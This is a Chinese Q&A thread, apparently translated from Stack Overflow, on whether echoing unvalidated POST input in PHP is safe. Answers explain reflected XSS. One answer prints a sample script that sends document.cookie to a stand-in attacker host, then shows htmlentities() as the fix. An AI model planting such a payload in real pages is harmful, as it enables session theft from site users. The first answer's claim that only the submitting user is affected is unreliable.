PHP文件包含

时间:2016-02-15 20:50:00

标签: php security xss

我有一个文本框,用户在其中输入一个值,而PHP脚本则回应它。文本框通过POST发送到服务器,并保存在名为 Temp 的变量中。

如果我使用下面的行创建输出脚本,那么回声是否会阻止文件包含或任意PHP注入,假设没有进行任何验证?

<?php echo $Temp; ?>

4 个答案:

答案 0 :(得分:2)

mkaatman的回答可能会也可能不会解决您的问题。 Javascript是客户端,所以没有任何服务器端恶意发生。如果用户在您回显给他们的文本框中放置了恶意内容,他们只会在客户端影响自己。

换句话说,如果您所做的只是存储和回显,PHP不会执行用户在该变量中输入的内容。不会对服务器造成任何伤害......而且我认为这就是你所要求的

答案 1 :(得分:1)

没有。我可以在输入中输入恶意javascript代码,当您查看使用<?php echo $Temp; ?>

生成的页面时,浏览器会执行该代码

答案 2 :(得分:1)

这是一个典型的xss漏洞 阅读更多here 因此,在获得任何用户输入后,请务必过滤掉它。 php有很好的类型转换,如(string)$Temp和上面提到的htmlspecialchars()htmlentities()

答案 3 :(得分:1)

这是一个经典的反映Cross Site Scripting漏洞。注入的代码不会在服务器上执行。

恶意用户可以设置自己的网站POST到您的表单。 POSTed值可能是这样的

<script>
new Img().src = 'https://evil.example.com?' + escape(document.cookie);
</script>

当登录您网站的用户访问恶意网页时,攻击者将检索您网站的用户Cookie(以及任何未标记为HttpOnly的Cookie)。 要缓解这种情况,请执行以下操作:

<?php echo htmlentities($Temp); ?>

将任何脚本显示为HTML而不是执行它。